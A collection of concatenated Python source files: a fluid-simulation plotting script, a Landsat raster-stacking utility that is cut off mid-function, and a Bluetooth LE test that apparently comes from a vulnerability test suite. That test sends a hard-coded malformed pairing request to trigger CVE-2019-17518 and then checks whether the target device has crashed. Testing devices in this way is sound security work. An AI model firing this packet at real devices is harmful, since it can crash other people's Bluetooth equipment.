are:\",avl)\n\n\n","repo_name":"ErnestEhimen/Operating-Systems-Project","sub_path":"Bankers Algorithm for Deadlock Avoidance.py","file_name":"Bankers Algorithm for Deadlock Avoidance.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43822256212","text":"from cupy import *\nimport pandas as pd\nfrom cupyx.scipy.fft import fftfreq, fft, ifft, fft2, ifft2, fftshift\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nimport scipy.io\nfrom NavierStokes import NavierStokes\n\nRe = 40 # Reynolds number\nnu = 1/Re # Viscosity\nT = 300 # Total simulation time\ndt = 0.005 # Time step size\nnt = int(T/dt) # Number of time steps for simulation\nnout = int(1/dt) # Output after these many time steps\nL = 2*pi # Domain size [L,L]\nN = 2**7 # Number of grid points in one direction\ndx = L/N\nfext = True # external forcing switch\ncontrol = False\nn = 4 # Parameter for Kolmogorov flow\nepsilon1 = 0.07951133510957262 # control parameter\nepsilon2 = 0\npath = './data/'\n\nE_lam = Re**2/(4*(n**4))*(L**2)\nenstrophy_lam = Re**2/(2*(n**2))*(L**2)\nNS = NavierStokes(L,N)\n\n# for i in tqdm(range(0,nt,nout)):\n# \tomegahat = load(path+'data_{}.npy'.format(i))\n# \tu,v,omega,psi = NS.omg2vel(omegahat)\n# \tNS.plotFields(u,'u',v,'v',omega,r'$\\omega$',psi,r'$\\psi$',\\\n# \t\t\tpath+'../plots/plot_{}'.format(i))\n\nstats = pd.read_csv(path+'statistics.csv')\n\nfig = plt.figure(figsize=(4,4),dpi=300)\nplt.rcParams['font.family'] = 'serif'\nplt.rcParams['mathtext.fontset']='cm'\nplt.rcParams['axes.axisbelow'] = True\nplt.rcParams.update({'font.size': 8})\nax1 = plt.subplot(311)\nax1.plot(stats['t'],stats['Energy']/E_lam,label='Energy',lw=1)\nax1.axhline(stats['Energy'][0]/E_lam,linestyle='dashed',lw=1, color='black')\nax1.set_ylabel(r'$E/E_{lam}$')\nax1.set_ylim(0,0.75)\nplt.tick_params('x', labelbottom=False)\n\nax2 = plt.subplot(312, sharex=ax1)\nax2.plot(stats['t'],stats['Enstrophy']/enstrophy_lam,label='Enstrophy',lw=1)\nax2.axhline(stats['Enstrophy'][0]/enstrophy_lam,linestyle='dashed',lw=1, color='black')\nax2.set_ylabel(r'$D/D_{lam}$')\nax2.set_ylim(0,0.4)\nplt.tick_params('x', labelbottom=False)\n\nax3 = plt.subplot(313, sharex=ax1)\nax3.plot(stats['t'],stats['Ldomegadt'],label=r'$||d\\omega/dt||$',lw=1)\nax3.set_xlabel('time (s)')\nax3.set_ylabel(r'$||d\\omega/dt||$')\nax3.set_ylim(1e-16,1e4)\nax3.set_yscale('log')\n\nplt.subplots_adjust(left=0.15, bottom=0.1, top=0.95, right=0.95)\nplt.savefig(path+'../plots/statistics.png')\n\n# energy = 0.5*sum(psi*omega)*(dx**2)\n# enstrophy = 0.5*sum(omega**2)*(dx**2)\n# psi2 = 0.5*sum(psi**2)*(dx**2)\n\n# F0 = (psi2*enstrophy)-(energy**2)\n# epsilon1 = 3*energy/F0 # control parameter\n# print(epsilon1)\n\n# mat = scipy.io.loadmat(path+'data_20000.mat')\n# omegahat = asarray(mat['omghat'])\n# u,v,omega,psi = NS.omg2vel(omegahat)\n\n# I = sum(psi*NS.g_omega(n,omegahat))*(dx**2)\n# D = sum(psi*NS.diffusion(nu,omegahat))*(dx**2)\n# P = sum(omega*NS.diffusion(nu,omegahat))*(dx**2)\n# Q = sum(omega*NS.g_omega(n,omegahat))*(dx**2)\n# F1 = sum(psi*NS.f_omega(epsilon1,epsilon2,omegahat))*(dx**2)\n# F2 = sum(omega*NS.f_omega(epsilon1,epsilon2,omegahat))*(dx**2)\n# print('I = ', I,\\\n# '\\n D = ', D,\\\n# '\\n P = ', P,\\\n# '\\n Q = ', Q,\\\n# '\\n F1 = ', F1,\\\n# '\\n F2 = ', F2)\n\n# NS.plotFields(omega*(NS.f_omega(epsilon1,epsilon2,omegahat)+NS.g_omega(n,omegahat)+NS.diffusion(nu,omegahat)),\\\n# omega*NS.g_omega(n,omegahat),\\\n# omega,\\\n# omega*NS.diffusion(nu,omegahat))","repo_name":"gauravkumar463/NS2Dsolver","sub_path":"run/Re40_delta3/makeplots.py","file_name":"makeplots.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21796859084","text":"#!/usr/bin/env python\n\n\"\"\" Test suite \"\"\"\n\nfrom __future__ import print_function\nimport sys\nimport unittest\nfrom core.logging_utils import *\nfrom mongodb_database.connect_mongodb import *\nfrom drivers.NRF52_dongle import NRF52Dongle\nfrom scapy.layers.bluetooth4LE import *\nfrom libs.timeout_lib import start_timeout, disable_timeout\nfrom sql_database.connect import insert_data_to_link_layer_tests\n\nlog = logging.getLogger(__name__)\n\n\nclass Test_SILENT_OVERFLOW(unittest.TestCase):\n \"\"\" Negative Tests for silent length overflow\"\"\"\n\n def setUp(self):\n c = config.loadConfig()\n attack='Silent Length Overflow'\n self.master_address = '5d:36:ac:90:0b:22'\n self.access_address = 0x9a328370\n self.comPortNRF = c['TESTBED']['COM_PORT_NRF']\n self.advertiser_address = c['TESTBED']['ADVERTISER_ADDRESS']\n self.connection = c['TESTBED']['CONNECTION_TO_DATABASE']\n log.info('Advertiser Address: ' + self.advertiser_address.upper())\n # Open serial port of NRF52 Dongle\n self.driver = NRF52Dongle(self.comPortNRF, '115200')\n self.crash_timeout_flag = False\n date = str(datetime.datetime.today()).split()[0].encode('ascii', 'ignore')\n\n # Choose from test.conf file type of database to insert data\n if str(c['TESTBED']['DATABASE_VERSION']) == 'SQL':\n insert_data_to_link_layer_tests(self.advertiser_address, self.master_address, self.access_address, date,\n attack, self.comPortNRF)\n\n elif str(c['TESTBED']['DATABASE_VERSION']) == 'MONGODB':\n client = insert_data_to_collection_info_tests(attack)\n close_connection_to_database(client)\n\n\n elif str(c['TESTBED']['DATABASE_VERSION']) == 'BOTH':\n insert_data_to_link_layer_tests(self.advertiser_address, self.master_address, self.access_address, date,\n attack, self.comPortNRF)\n client = insert_data_to_collection_info_tests(attack)\n close_connection_to_database(client)\n\n\n else:\n print('Continue with no database')\n pass\n def tearDown(self):\n pass\n\n def crash_timeout(self):\n log.error(\"No advertisement from \" + self.advertiser_address.upper() +\n ' received\\nThe device may have crashed...')\n disable_timeout('scan_timeout')\n self.crash_timeout_flag = True\n\n def scan_timeout(self):\n scan_req = BTLE() / BTLE_ADV() / BTLE_SCAN_REQ(\n ScanA=self.master_address,\n AdvA=self.advertiser_address)\n self.driver.send(scan_req)\n log.info('Scan Timeout...')\n start_timeout('scan_timeout', 2, self.scan_timeout)\n\n def adv_timeout(self):\n log.error('Device not discovered during scanning...')\n self.driver.close()\n self.fail(\"Device not discovered during scanning...\")\n\n # Silent Length Overflow\n def test_SILENT_OVERFLOW_001(self):\n \"\"\"\"6.4 Silent Length Overflow (CVE-2019-17518)\"\"\"\n\n log.info(\"Silent Length Overflow (CVE-2019-17518)\")\n\n # Internal vars\n none_count = 0\n end_connection = False\n connecting = False\n\n # Send scan request\n scan_req = BTLE() / BTLE_ADV() / BTLE_SCAN_REQ(\n ScanA=self.master_address,\n AdvA=self.advertiser_address)\n\n self.driver.send(scan_req)\n log.info('Scan Send.')\n start_timeout('adv_timeout', 10, self.adv_timeout)\n\n while True:\n pkt = None\n # Receive packet from the NRF52 Dongle\n data = self.driver.raw_receive()\n\n if data:\n # Decode Bluetooth Low Energy Data\n pkt = BTLE(data)\n # if packet is incorrectly decoded, you may not be using the dongle\n if pkt is None:\n none_count += 1\n if none_count >= 4:\n log.error('NRF52 Dongle not detected')\n sys.exit(0)\n continue\n elif BTLE_DATA in pkt and BTLE_EMPTY_PDU not in pkt:\n disable_timeout('scan_timeout')\n # Print slave data channel PDUs summary\n log.debug(\"Slave RX <--- \" + pkt.summary()[7:])\n # --------------- Process Link Layer Packets here ------------------------------------\n # Check if packet from advertised is received\n if pkt and (BTLE_SCAN_RSP in pkt) and pkt.AdvA == self.advertiser_address.lower():\n connecting = True\n disable_timeout('scan_timeout')\n\n log.info(self.advertiser_address.upper() + ': ' + pkt.summary()[7:] + ' Detected')\n # Send connection request to advertiser\n conn_request = BTLE() / BTLE_ADV(RxAdd=pkt.TxAdd, TxAdd=0) / BTLE_CONNECT_REQ(\n InitA=self.master_address,\n AdvA=self.advertiser_address,\n AA=self.access_address, # Access address (any)\n crc_init=0x179a9c, # CRC init (any)\n win_size=2, # 2.5 of windows size (anchor connection window size)\n win_offset=1, # 1.25ms windows offset (anchor connection point)\n interval=16, # 20ms connection interval\n latency=0, # Slave latency (any)\n timeout=50, # Supervision timeout, 500ms (any)\n chM=0x1FFFFFFFFF, # Any\n hop=5, # Hop increment (any)\n SCA=0, # Clock tolerance\n )\n\n self.driver.send(conn_request)\n elif BTLE_DATA in pkt and connecting == True:\n disable_timeout('scan_timeout')\n connecting = False\n log.info('Slave Connected (L2Cap channel established)')\n # Send version indication request\n pkt = pkt = BTLE(access_addr=self.access_address) / BTLE_DATA() / CtrlPDU() / LL_VERSION_IND(\n version='4.2')\n self.driver.send(pkt)\n\n elif LL_VERSION_IND in pkt:\n pkt = BTLE(access_addr=self.access_address) / BTLE_DATA() / CtrlPDU() / LL_LENGTH_REQ(\n max_tx_bytes=251, max_rx_bytes=251)\n self.driver.send(pkt)\n\n elif LL_LENGTH_RSP in pkt:\n pairing_req = BTLE(\n '7083329a06ba070006000c03f5fa100fbbcfb5a6'.decode('hex')) # malformed pairing request\n self.driver.send(pairing_req)\n end_connection = True\n log.info('Malformed packet was sent.')\n # wrpcap(os.path.basename(__file__).split('.')[0] + '.pcap',\n #NORDIC_BLE(board=75, protocol=2, flags=0x3) / pairing_req) # save packet just sent\n\n elif LL_LENGTH_REQ in pkt:\n length_rsp = BTLE(access_addr=self.access_address) / BTLE_DATA() / CtrlPDU() / LL_LENGTH_RSP(\n max_tx_bytes=251, max_rx_bytes=251)\n self.driver.send(length_rsp) # Send a normal length response\n\n elif end_connection == True:\n end_connection = False\n term_ind = BTLE() / BTLE_DATA() / CtrlPDU() / LL_TERMINATE_IND()\n self.driver.send(term_ind)\n\n time.sleep(1)\n\n scan_req = BTLE() / BTLE_ADV() / BTLE_SCAN_REQ(\n ScanA=self.master_address,\n AdvA=self.advertiser_address)\n\n # Yes, we're sending raw link layer messages in Python. Don't tell anyone as this is forbidden!!!\n log.info('Waiting activity from ' + self.advertiser_address)\n self.driver.send(scan_req)\n start_timeout('crash_timeout', 7, self.crash_timeout)\n break\n\n # verify alive\n while True:\n pkt = None\n # Receive packet from the NRF52 Dongle\n data = self.driver.raw_receive()\n if data:\n # Decode Bluetooth Low Energy Data\n pkt = BTLE(data)\n # if packet is incorrectly decoded, you may not be using the dongle\n if pkt is None:\n none_count += 1\n if none_count >= 4:\n log.error('NRF52 Dongle not detected')\n sys.exit(0)\n continue\n # log.debug(\"Slave RX <--- \" + pkt.summary()[7:])\n if (BTLE_SCAN_RSP in pkt and pkt.AdvA == self.advertiser_address.lower()) or (BTLE_DATA in pkt):\n log.debug(\"Slave RX <--- \" + pkt.summary()[7:])\n log.info('Still kicking!!!')\n disable_timeout('scan_timeout')\n disable_timeout('crash_timeout')\n break\n\n if self.crash_timeout_flag:\n self.fail(\"No activity from device. Presumed dead....\")\n break\n\n log.info(\"Test complete\")\n\n","repo_name":"panitsasi/Bluetooth","sub_path":"tests/smp/test_smp_SILENT_OVERFLOW.py","file_name":"test_smp_SILENT_OVERFLOW.py","file_ext":"py","file_size_in_byte":9311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39627029181","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim: set expandtab:ts=4\n###\n#\n# Author: Chris Holden\n# Date: 5/21/2013\n#\n###\n\"\"\"Stack Landsat Data\n\nUsage: landsat_stack.py [options] (--max_extent | --min_extent |\n --extent= | --percentile= | --image=) \n\nOptions:\n -f --files=... Files to stack [default: lndsr.*.hdf *Fmask]\n -b --bands=... Bands from files to stack [default: all]\n -d --dirs= Directory name pattern to search [default: L*]\n -o --output= Output filename pattern [default: *stack]\n -p --pickup Pickup / resume where left off\n -n --ndv= No data value [default: 0]\n -u --utm= Force a UTM zone (in WGS84)\n -e --exit-on-warn Exit on warning messages\n --format= GDAL format [default: ENVI]\n --co= GDAL creation options\n -v --verbose Show verbose debugging messages\n -q --quiet Be quiet by not showing warnings\n --dry-run Dry run - don't actually stack\n -h --help Show help\n\nExamples:\n\n Stack the optical bands and thermal band from a LEDAPS surface\n reflectance HDF image together with a Fmask image for every Landsat\n acquistion within the current directory. The NoData values for the\n LEDAPS bands and Fmask band will be -9999 and 255, respectively. The\n output stack images will have an extent equal to the minimum area\n covered by all the Landsat acquistions (e.g., the intersection of\n the areas):\n\n > landsat_stack.py -n \"-9999; 255\" -b \"1 2 3 4 5 6 15; 1\" --min_extent ./\n\n Stack the optical bands from a set of LEDAPS surface reflectance\n GeoTIFFs together with a Fmask image for every Landsat acquistion within\n the directory named \"images\". Since each image file contains only one\n band, the default argument 'all' for the \"--bands\" option is not\n changed. The NoData values will need to be specified for each band.\n The output extent of the resulting stacked images corresponds to the\n 1% and 99% percentile of extents. This extent will be similar to\n the maximum extent, except in situations with few images that\n contain drastically different extents. By using \"--utm 19\", the\n output projection will be defined as the WGS84 UTM 19 zone\n (EPSG:32619):\n\n > sr=\"*sr*1.tif *sr*2.tif *sr*3.tif *sr*4.tif *sr*5.tif *sr*7.tif\"\n > fmask=\"*cfmask.tif\"\n > landsat_stack.py -f \"$sr $fmask\" \\\\\n ... --ndv \"-9999; -9999; -9999; -9999; -9999; -9999; 255\" \\\\\n ... --utm 19 --pickup \\\\\n ... --percentile 1 images/\n\n\"\"\"\nfrom __future__ import print_function\n\nimport copy\nimport fnmatch\nimport os\nimport sys\n\nfrom docopt import docopt\n\nimport numpy as np\n\ntry:\n from osgeo import gdal\n from osgeo import osr\n from osgeo.gdalconst import GA_ReadOnly\nexcept ImportError:\n import gdal\n from gdalconst import GA_ReadOnly\n\n\nQUIET = False\nVERBOSE = False\nEXIT_ON_WARN = False\nDRY_RUN = False\n\ngdal.UseExceptions()\ngdal.AllRegister()\n\n\ndef str2num(string):\n \"\"\" String representation of number to int/float utility function \"\"\"\n try:\n num = int(string)\n except ValueError:\n num = float(string)\n return num\n\n\ndef parse_nested_input(t):\n \"\"\" Utility function for parsing of nested inputs (e.g. ndv, bands)\"\"\"\n if isinstance(t, list):\n return [parse_nested_input(s) for s in t if s != '']\n else:\n return str2num(t)\n\n\ndef xy2geo(geo_transform, x, y):\n \"\"\" Returns the geo-referenced cooridnate of x, y pixel \"\"\"\n geo_x = geo_transform[0] + geo_transform[1] * x + geo_transform[2] * y\n geo_y = geo_transform[3] + geo_transform[4] * x + geo_transform[5] * y\n\n return (geo_x, geo_y)\n\n\nclass LandsatImage():\n \"\"\"\n A class for each Landsat image. Handles and stores information for\n stacking of Landsat images.\n \"\"\"\n\n def __init__(self, directory, patterns, bands, no_data, out_pattern,\n fformat='ENVI', dtype=gdal.GDT_Int16, co=['INTERLEAVE=BIP']):\n \"\"\"\n Find images to be stacked\n\n Arguments:\n directory Input image directory\n patterns List of file name patterns\n \"\"\"\n # Directory\n self.directory = directory\n # Folder name\n self.id = os.path.split(self.directory)[-1]\n # Images to stack\n self.images = []\n # Bands to stack for each image\n self.bands = []\n # Output filename for stack\n self.output_name = self.set_output_name(out_pattern)\n # Extent of images\n self.extent = { }\n # Size of image\n self.size = { }\n # Pixel size\n self.pixel_size = [None, None]\n # Projection\n self.projection = None\n # Geo-transfor\n self.geo_transform = { }\n # No data value\n self.no_data = no_data\n # File format\n self.format = fformat\n # Data type\n self.dtype = dtype\n # Creation options\n self.create_options = co\n if self.create_options and not isinstance(self.create_options, list):\n self.create_options = [self.create_options]\n\n if not os.path.isdir(self.directory):\n print('Error: {d} is not a directory.'.format(d=self.directory))\n sys.exit(1)\n if VERBOSE and not QUIET:\n print('<----------------------------------------')\n print('Directory: {d}'.format(d=self.directory))\n print(' Files:')\n\n files = os.listdir(self.directory)\n\n # Find image files according to patterns\n for num, pattern in enumerate(patterns):\n # Filter files by pattern\n matches = fnmatch.filter(files, pattern)\n # No matches\n if len(matches) == 0:\n print('Directory {d} has no files matching pattern: \"{p}\"'.\n format(d=self.directory, p=pattern))\n sys.exit(1)\n else:\n if VERBOSE and not QUIET:\n print('\\t{i}'.format(i=matches[0]))\n # If we found match, add full path\n self.images.append(os.path.join(self.directory, matches[0]))\n\n # If we found image, add corresponding bands\n if bands[0] == ['all']:\n self.bands.append(['all'])\n else:\n self.bands.append(map(str2num, bands[num]))\n\n # Check for subdatasets; we want to add those instead\n self.check_sds(self.images, self.bands, self.no_data)\n # Initialize extent\n self.init_attributes()\n\n def __repr__(self):\n return 'Landsat ID: {id}'.format(id=self.id)\n\n def set_output_name(self, pattern):\n \"\"\" Assign an output name according to the image ID \"\"\"\n if '*' in pattern:\n pattern = pattern.strip('*')\n return (os.path.join(self.directory, self.id + pattern))\n\n def check_completed(self, t_extent):\n \"\"\" Check if we've already produced a stacked image \"\"\"\n if os.path.exists(self.output_name):\n # Try opening\n ds = gdal.Open(self.output_name)\n if ds is not None:\n gt = ds.GetGeoTransform()\n\n ul_x, ul_y = xy2geo(gt, 0, 0)\n lr_x, lr_y = xy2geo(gt, ds.RasterXSize, ds.RasterYSize)\n\n if t_extent == [ul_x, ul_y, lr_x, lr_y]:\n return True\n else:\n print('Already stacked {n}, but to different extent'.\n format(n=self.output_name))\n print('\\tTarget: {t}'.format(t=t_extent))\n print('\\tPrevious: {p}'.format(p=[ul_x, ul_y, lr_x, lr_y]))\n print('\\n')\n return False\n\n def check_sds(self, images, bands, ndv):\n \"\"\"\n Substitutes image, bands, & ndv for sub-datasets (useful for HDFs)\n\n Arguments:\n images List of image filenames\n bands List of lists containing bands for each filename\n ndv List of lists containing ndv for each filename\n \"\"\"\n ndv = copy.deepcopy(ndv)\n _images = []\n _bands = []\n _ndv = []\n\n for num, image in enumerate(images):\n # Open image\n ds = gdal.Open(image, GA_ReadOnly)\n if ds == None:\n print('Cannot open {i}'.format(i=image))\n sys.exit(1)\n\n sds = ds.GetSubDatasets()\n # Handle sub-datasets, if any\n if len(sds) > 0:\n # Add into _images and _bands each sub-dataset separately\n if bands[num] == ['all']:\n # Add in all band numbers\n bands[num] = range(1, len(sds) + 1)\n ndv[num] = ndv[num] * len(sds)\n for b in bands[num]:\n # Note: [b - 1] because GDAL starts on 1\n _images.append(sds[b - 1][0])\n _bands.append([1])\n for n in ndv[num]:\n _ndv.append([n])\n else:\n # Just add image\n _images.append(image)\n if bands[num] == ['all']:\n _bands.append(range(1, ds.RasterCount + 1))\n else:\n _bands.append(bands[num])\n _ndv.append(ndv[num])\n # Close\n ds = None\n\n self.images = list(_images)\n self.bands = list(_bands)\n self.no_data = list(_ndv)\n\n def init_attributes(self):\n \"\"\"\n Initalize image size, projection, geo-transform, and extent.\n\n Will allow for different geo-transforms and image sizes among the\n datasets. Will only warn user if projections are different among files,\n unless user specifies the --exit-on-warn flag.\n \"\"\"\n\n for n, image in enumerate(self.images):\n # Open image dataset\n ds = gdal.Open(image, GA_ReadOnly)\n if ds == None:\n print('Cannot open {i}'.format(i=image))\n sys.exit(1)\n\n # Set size\n size = [ds.RasterXSize, ds.RasterYSize]\n if size[0] == 0 or size[1] == 0:\n print('Error: Image {i} has 0 rows or columns'.format(i=image))\n sys.exit(1)\n self.size[image] = size\n\n # Check projection\n projection = ds.GetProjection()\n if projection == '':\n if not QUIET:\n print('Warning: Image {i} has no projection'.\n format(i=image))\n if EXIT_ON_WARN:\n sys.exit(1)\n else:\n continue\n if self.projection == None and projection != '':\n self.projection = projection\n else:\n if projection != self.projection:\n # Only raise warning because proj string could be slightly\n # different but still mean the same thing\n if not QUIET and not EXIT_ON_WARN:\n print('Warning: Image {i} and image {b} have ' \\\n 'different projections'.\n format(i=image, b=self.images[0]))\n if EXIT_ON_WARN:\n print('Warning: Image {i} and image {b} have ' \\\n 'different projections'.\n format(i=image, b=self.images[0]))\n sys.exit(1)\n\n # Get geo-transform\n geo_transform = ds.GetGeoTransform()\n if geo_transform == '':\n if n == 0:\n print('Error: Image {i} has no geotransform and is first ' \\\n 'image so we cannot assume same geotransform as ' \\\n 'previous image'.format(i=image))\n elif not QUIET and not EXIT_ON_WARN:\n print('Warning: Image {i} has no geotransform. Using' \\\n 'geotransform from image{b}'.\n format(i=image, b=self.images[n - 1]))\n if EXIT_ON_WARN:\n print('Warning: Image {i} has no geotransform.'.\n format(i=image))\n sys.exit(1)\n else:\n self.geo_transform[image] = None\n else:\n self.geo_transform[image] = geo_transform\n # Check pixel size\n if self.pixel_size == [None, None]:\n self.pixel_size = [geo_transform[1], geo_transform[5]]\n if self.pixel_size != [geo_transform[1], geo_transform[5]]:\n print('Error: pixel sizes of all images must be the same.')\n sys.exit(1)\n # Check for rotation\n if geo_transform[2] != 0 or geo_transform[4] != 0:\n print('Error: the geotransform of image {i} is rotated.' \\\n 'This configuration is not supported'.\n format(i=image))\n sys.exit(1)\n\n # Find extent\n if geo_transform == '':\n # Assume extent from previous image if none exists\n self.extent[image] = self.extent[self.images[n - 1]]\n if not QUIET and not EXIT_ON_WARN:\n print('Warning: Image {i} has no extent. Using' \\\n 'extent from image {b}'.\n format(i=image, b=self.images[n - 1]))\n else:\n print('Warning: Image {i} has no extent'.format(i=image))\n else:\n ul_x, ul_y = xy2geo(geo_transform, 0, 0)\n lr_x, lr_y = xy2geo(geo_transform, ds.RasterXSize,\n ds.RasterYSize)\n self.extent[image] = [ul_x, ul_y, lr_x, lr_y]\n\n # Close\n ds = None\n\n # Check that all images have geo-transform and extent\n if not all(self.geo_transform) or not all(self.extent):\n print('Error: could not find or assume a geotransform or extent' \\\n 'for all images for {id}'.format(id=self.id))\n\n def stack_image(self, t_extent, utm=None):\n \"\"\"\n Take self and output a 'stacked' image defined by the target extent\n (t_extent), named according to output_pattern.\n\n Notice: much of this code is graciously taken from gdal_merge.py\n \"\"\"\n if VERBOSE:\n print('Target extent: {0}'.format(t_extent))\n # Parse target extent\n t_ul_x = t_extent[0]\n t_ul_y = t_extent[1]\n t_lr_x = t_extent[2]\n t_lr_y = t_extent[3]\n\n # Calculate the output image size\n x_size = int((t_lr_x - t_ul_x) / self.pixel_size[0] + 0.5)\n y_size = int((t_lr_y - t_ul_y) / self.pixel_size[1] + 0.5)\n if VERBOSE:\n print('Output size: x={x}, y={y}'.format(x=x_size, y=y_size))\n\n # Create driver\n driver = gdal.GetDriverByName(self.format)\n if driver is None:\n print('Could not create driver with format {f}.'.\n format(f=self.format))\n return False\n\n # Create output dataset\n if self.create_options:\n out_ds = driver.Create(self.output_name, x_size, y_size,\n sum([len(_bands) for _bands in self.bands]),\n self.dtype, self.create_options)\n else:\n out_ds = driver.Create(self.output_name, x_size, y_size,\n sum([len(_bands) for _bands in self.bands]),\n self.dtype)\n if out_ds is None:\n print('Could not create file {f}'.format(f=self.output_name))\n return False\n\n # Define and set output geo transform\n out_geo_transform = [t_extent[0], self.pixel_size[0], 0,\n t_extent[1], 0, self.pixel_size[1]]\n out_ds.SetGeoTransform(out_geo_transform)\n\n # Set projection from input, unless forced to a UTM zone\n if utm is None:\n out_ds.SetProjection(self.projection)\n else:\n sr = osr.SpatialReference()\n sr.SetUTM(utm)\n sr.SetWellKnownGeogCS('WGS84')\n out_ds.SetProjection(sr.ExportToWkt())\n\n if VERBOSE:\n print('Output projection: \\n '\\\n '\\t\\t{proj}'.format(proj=out_ds.GetProjection()))\n\n # Loop through list of images and stack\n out_band = 1\n for num, image in enumerate(self.images):\n # Find intersect region target window in geographic coordinates\n tw_ul_x = max(t_ul_x, self.extent[image][0])\n tw_lr_x = min(t_lr_x, self.extent[image][2])\n if self.geo_transform[image][5] < 0:\n # North\n tw_ul_y = min(t_ul_y, self.extent[image][1])\n tw_lr_y = max(t_lr_y, self.extent[image][3])\n elif self.geo_transform[image][5] > 0:\n # South\n tw_ul_y = max(t_ul_y, self.extent[image][1])\n tw_lr_y = min(t_lr_y, self.extent[image][3])\n else:\n print('Image has 0 y-pixel size')\n return False\n\n # Check for overlap\n if tw_ul_x >= tw_lr_x:\n print('Target and image extent do not overlap')\n return False\n if self.geo_transform[image][5] < 0 and tw_ul_y <= tw_lr_y:\n print('Target and image extent do not overlap')\n return False\n if self.geo_transform[image][5] > 0 and tw_ul_y >= tw_lr_y:\n print('Target and image extent do not overlap')\n return False\n\n # Calculate target window in pixel coordinates\n tw_xoff = int((tw_ul_x - t_extent[0]) /\n self.geo_transform[image][1] + 0.1)\n tw_yoff = int((tw_ul_y - t_extent[1]) /\n self.geo_transform[image][5] + 0.1)\n tw_xsize = int((tw_lr_x - t_extent[0]) /\n self.geo_transform[image][1] + 0.5) - tw_xoff\n tw_ysize = int((tw_lr_y - t_extent[1]) /\n self.geo_transform[image][5] + 0.5) - tw_yoff\n\n # Calculate source window in pixel coordinates\n sw_xoff = int((tw_ul_x - self.geo_transform[image][0]) /\n self.geo_transform[image][1])\n sw_yoff = int((tw_ul_y - self.geo_transform[image][3]) /\n self.geo_transform[image][5])\n sw_xsize = int((tw_lr_x - self.geo_transform[image][0]) /\n self.geo_transform[image][1] + 0.5) - sw_xoff\n sw_ysize = int((tw_lr_y - self.geo_transform[image][3]) /\n self.geo_transform[image][5] + 0.5) - sw_yoff\n\n if sw_xsize < 1 or sw_ysize < 1:\n print('Error: source window size less than 1 pixel')\n return False\n\n # Open image\n ds = gdal.Open(image, GA_ReadOnly)\n\n if ds is None:\n print('Could not open image {i}'.format(image))\n return False\n\n for nband, b in enumerate(self.bands[num]):\n # Open bands in input/output\n s_band = ds.GetRasterBand(b)\n t_band = out_ds.GetRasterBand(out_band)\n # Set no data value\n t_band.SetNoDataValue(self.no_data[num][nband])\n # Set description\n t_band.SetDescription(s_band.GetDescription())\n # Read in data\n data = s_band.ReadRaster(sw_xoff, sw_yoff, sw_xsize, sw_ysize,\n tw_xsize, tw_ysize, self.dtype)\n\n # Initialize the output target band with no_data\n t_band.Fill(self.no_data[num][nband])\n # Write data\n t_band.WriteRaster(tw_xoff, tw_yoff, tw_xsize, tw_ysize,\n data, tw_xsize, tw_ysize, self.dtype)\n out_band = out_band + 1\n\n print()\n\n # Close input and output datasets\n ds = None\n out_ds = None\n # Return successful\n return True\n\n\ndef get_directories(location, dir_pattern):\n \"\"\"\n Search location for directories according to name pattern\n \"\"\"\n stack_dirs = [os.path.join(location, d) for d in\n fnmatch.filter(os.listdir(location), dir_pattern)\n if os.path.isdir(os.path.join(location, d))]\n\n return stack_dirs\n\n\ndef get_max_extent(images):\n \"\"\"\n Loop through LandsatImages finding the maximum extent of images\n \"\"\"\n if VERBOSE:\n print('Finding maximum extent')\n\n # Extent - UL_x, UL_y, LR_x, LR_y\n extent = [None, None, None, None]\n for image in images:\n if VERBOSE:\n # Store last extent for update reporting purposes\n _extent = list(extent)\n\n # Collect max extent from all images for this LandsatImage\n image_extent = [\n min([e[0] for e in image.extent.values()]),\n max([e[1] for e in image.extent.values()]),\n max([e[2] for e in image.extent.values()]),\n min([e[3] for e in image.extent.values()])\n ]\n\n # Update extent as needed\n if extent[0] is None or image_extent[0] < extent[0]:\n extent[0] = image_extent[0]\n if extent[1] is None or image_extent[1] > extent[1]:\n extent[1] = image_extent[1]\n if extent[2] is None or image_extent[2] > extent[2]:\n extent[2] = image_extent[2]\n if extent[3] is None or image_extent[3] < extent[3]:\n extent[3] = image_extent[3]\n\n if VERBOSE:\n if _extent != extent:\n print('{img} updated maximum extent'.format(img=image))\n\n return copy.deepcopy(extent)\n\n\ndef get_min_extent(images):\n \"\"\"\n Loop through LandsatImages finding the minimum extent of images\n \"\"\"\n if VERBOSE:\n print('Finding minimum extent')\n\n # Extent - UL_x, UL_y, LR_x, LR_y\n extent = [None, None, None, None]\n for image in images:\n if VERBOSE:\n # Store last extent for update reporting purposes\n _extent = list(extent)\n\n # Collect min extent from all images for this LandsatImage\n image_extent = [\n max([e[0] for e in image.extent.values()]),\n min([e[1] for e in image.extent.values()]),\n min([e[2] for e in image.extent.values()]),\n max([e[3] for e in image.extent.values()])\n ]\n\n # Update extent as needed\n if extent[0] is None or image_extent[0] > extent[0]:\n extent[0] = image_extent[0]\n if extent[1] is None or image_extent[1] < extent[1]:\n extent[1] = image_extent[1]\n if extent[2] is None or image_extent[2] < extent[2]:\n extent[2] = image_extent[2]\n if extent[3] is None or image_extent[3] > extent[3]:\n extent[3] = image_extent[3]\n\n if VERBOSE:\n if _extent != extent:\n print('{img} updated minimum extent'.format(img=image))\n\n return copy.deepcopy(extent)\n\n\ndef get_percentile_extent(images, pct):\n \"\"\"\n Loop through LandsatImages to find the percentile of min/max\n \"\"\"\n if VERBOSE:\n print('Finding {0:.2f}% percentile extent'.format(pct))\n\n # TODO\n out_extent = [None, None, None, None]\n\n # Extent - UL_x, UL_y, LR_x, LR_y\n extent = np.array(images[0].extent.values())\n for image in images[1:]:\n extent = np.vstack((extent,\n np.array(image.extent.values())))\n\n ### Now that we have all extents as np.array, find percentiles\n # Upper left X - (100 - pct) percentile\n i = np.abs(extent[:, 0] - np.percentile(extent[:, 0], 100 - pct)).argmin()\n out_extent[0] = extent[i, 0]\n\n # Upper left Y - pct percentile\n i = np.abs(extent[:, 1] - np.percentile(extent[:, 1], pct)).argmin()\n out_extent[1] = extent[i, 1]\n\n # Lower right X - pct percentile\n i = np.abs(extent[:, 2] - np.percentile(extent[:, 2], 